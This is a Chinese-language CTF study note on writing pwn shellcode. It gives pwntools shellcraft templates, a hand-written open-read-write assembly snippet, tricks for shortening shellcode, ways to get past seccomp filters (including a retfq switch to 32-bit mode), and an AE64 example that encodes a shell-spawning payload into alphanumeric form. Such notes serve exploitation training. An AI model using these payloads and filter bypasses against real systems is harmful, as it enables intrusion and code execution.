0%

Pwn - Shellcode Summary

Shellcode 也是十分核心的技术🤔

Manual

linux 系统调用号表

manual: pwntools.shellcraft

[0] 目录

  1. 编写 shellcode
  2. shellcode restrictions & bypass (限制与绕过)
  3. 例题
  4. 参考资料

[1] 编写 shellcode

[1-1] shellcode 板子

  1. exploit-db

  2. Shellcodes database for study cases(已停止更新)

    • 这个虽然停更了但是挺好用的,很适合找一些 length restrictions 的 shellcode

[1-2] 现有工具

[1-2-1] Pwntools

[1-2-1-1] shellcraft

  • Manual

  • 速成 (更多请 RTFM 或查看 [1-3] )

    1
    2
    3
    4
    # arch: i386 / amd64
    # os: linux
    # func: open / read / write / mmap
    shellcode = shellcraft.arch.os.func(args)

[1-2-1-2] asm

  • 定义: def asm(str) -> bytes

[1-3] 板子

  1. 常用 shellcraft

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    from pwn import *

    # open('./flag')
    shellcode_open = shellcraft.open('./flag')

    # read(fd,addr,nbytes)
    shellcode_read = shellcraft.read(0,0xBABECAFE,0x80)
    # 其他用法: shellcraft.read('eax','esp',0x100)

    # write(fd,addr,nbytes)
    shellcode_read = shellcraft.write(1,0xBABECAFE,0x80)

    # mmap(addr,len,prot,flags,fd,offset)
    shellcode_mmap = shellcraft.mmap(0xBABECAFE,0x80,7,34,0,0)

  2. 不用堆栈的 orw,字符串"flag"需要提前布置好.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    shellcode1 = '''
    mov rdi,0x2333008 # 指向"flag\x00\x00\x00\x00"的指针
    xor esi,esi
    mov rax,2
    syscall # open('./flag')
    xor edx,edx
    mov rdi,3 # fd = 3
    mov rdx,0x50 # nbytes = 0x50
    mov esi,0x2333100 # address = 0x2333100
    mov rax,0
    syscall # read(3,0x2333100,0x50)
    mov rdi,1 # stdin = 1
    mov rdx,0x50 # nbytes = 0x50
    mov esi,0x2333100 # address = 0x2333100
    mov rax,1
    syscall # write(1,0x2333100,0x50)
    '''

[1-4] 在线网站

  1. Online x86 and x64 Intel Instruction Assembler: 在线编写 shellcode 和反汇编 shellcode,目前只支持 x86/x64

  2. Online Assembler and Disassembler: 另一个更全的在线编写 shellcode 和反汇编 shellcode 网站

  3. Shellcodes database for study cases: shellcode 数据库,支持很多指令集与操作系统

  4. Exploit Database Shellcodes: 另一个 shellcode 数据库

  5. Online - Reverse Shell Generator: 生成反弹 shell 的命令

[1-5] 手搓 shellcode

传参顺序: rdi,rsi,rdx,rcx,r8,r9

系统调用号的寄存器: rax

[1-6] C 代码提取 shellcode

看这篇

[2] shellcode restrictions & bypass (限制与绕过)

[2-1] Length restrictions (长度约束)

[2-1-1] restriction

shellcode 限制在 xx bytes 以内

[2-1-2] bypass1 - 压缩 shellcode

  1. 构造一次 SYS_read 再去读一遍

    1
    2
    3
    4
    5
    6
    7
    shellcode = '''
    xchg rdi,rsi
    pop rdx
    xor eax,eax
    syscall
    '''
    shellcode = asm(shellcode) + b'\xeb\xf6'
    上述 shellcode 只有 0x10 大小,

  2. 可以去 Shellcodes database for study cases(已停止更新) 找比较小的 shellcode

  3. 常用压缩方式

    1. ⚠ 观察 寄存器 + 栈 的状态

    2. 长寄存器改为短寄存器 rax(8bytes) -> eax(4bytes) -> ax(2bytes) -> ah/al(1byte)

    3. 置零

      1. mov reg, 0 -> xor reg, reg

      2. 多用 push / pop

      3. 多用 cdq 来将 rdx 置零

      4. 多用 xchg 交换 reg1reg2

        • 观察执行 shellcode 时的 context(上下文),用上下文的一些寄存器来初始化
  4. 没什么用的积累

    1
    mov edx,7   --->   cdq; mov dl,7

[2-1-3] bypass2 - 二次 read

[2-2] seccomp 禁用

[2-2-1] restriction

程序调用 seccompprctl 禁用了某些系统调用

本质是沙盒逃逸,后续打算这里只留下常用的汇编语句或者shellcraft语法,原理挪到 Pwn - Sandbox Escape Summary 中去

[2-2-2] bypass

本质是对 IO stream 的汇编考察,学习这一部分应当积累足够多的相关知识。

顶级 seccomp 文章

open

read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GPT 有关 read 的拓展

如果 `read`、`pread64` 和 `readv` 等系统调用被禁用了,你可能可以考虑使用其他的系统调用来读取文件。以下是一些可能的替代方案:

1. **mmap**: 使用 `mmap` 系统调用映射文件到内存中,然后通过内存访问来读取文件内容。

2. **open + read**: 可以使用 `open` 系统调用打开文件,然后使用 `read` 或者 `pread64` 等系统调用来读取文件内容。

3. **fopen + fread**: 使用标准 C 库函数 `fopen` 和 `fread` 来打开和读取文件内容。

4. **openat + read**: 使用 `openat` 系统调用打开文件,然后使用 `read` 或者 `pread64` 等系统调用来读取文件内容。

5. **pipe + fork + exec**: 创建一个管道,在子进程中执行命令来读取文件内容,父进程通过管道读取子进程的输出。

6. **recv + recvfrom**: 如果你可以通过网络传输文件,你可以使用 `recv` 或 `recvfrom` 等网络套接字函数来接收文件数据。

7. **其他文件操作函数**: 还有一些其他的文件操作函数,比如 `lseek` 可以用于移动文件指针,`preadv` 可以用于原子地读取多个文件描述符指定的文件内容等。

要选择合适的替代方案,需要考虑到具体的情况和环境限制。

write

废弃,待整理

1
2
3
4
5
6
7
8
9
10
11
使用 `seccomp-tools dump ./pwn` 来查看 elf 文件被禁用了哪些调用

#### [2-2-2-1] 禁用 `execve`

- bypass: orw

#### [2-2-2-2] OR 没有 W ( prctl 禁用 `open` 但不禁用 `fstat`)

> 注:由于下面的绕过方式需要在64位与32位之间切换,所以建议不要在 exp 开头设置 `context(arch='i386/amd64')` ,而是选择 `asm(shellcode,arch='i386/amd64')`

- bypass: 由于64位下 `fstat` 函数的调用号为 5,而在32位中 `open` 的系统调用号为 5,所以我们可以利用 `retfq` 切换到 32 位执行 `open`

[2-3] alphanumeric shellcode (字母+数字构成)

[2-3-1] Manual

ascii -> asm 手册

[2-3-2] restriction

shellcode 只能由字母和数字组成

[2-3-3] shellcode 生成:

这种 shellcode 可以由工具 ALPHA3 直接生成,

但 alpha3 的 build 有点儿麻烦,不如直接用杭电一位师傅写的 AE64

AE64 可以将任何 AMD64 架构的 shellcode 转换为 alphanumeric shellcode

[2-3-4] 示例:

AE64 在 github 的 README 有更详细的介绍

简单示例

1
2
3
4
5
6
7
8
9
10
from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))

进阶选项

1
2
3
4
5
enc_shellcode = AE64().encode(shellcode)
# equal to
enc_shellcode = AE64().encode(shellcode, 'rax', 0, 'fast')
# And we can use 'small' strategy to generate smaller alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode, 'rax', 0, 'small')

[3] 例题

  1. hgame2024 Week1 ezshellcode

  2. hgame2024 week2 ShellcodeMaster

[4] 参考资料

⭐ The art of shellcode

简单获取shellcode的几种方式

wxk1997's blog - shellcode tips

hkbin's blog - shellcode

关于 seccomp 绕过的更深方法

顶级 seccomp 文章

Bsahfuck: 限制只允许几种字符的shellcode

shellcode 的艺术 - by n0va

-------------文章就到这里啦!感谢您的阅读XD-------------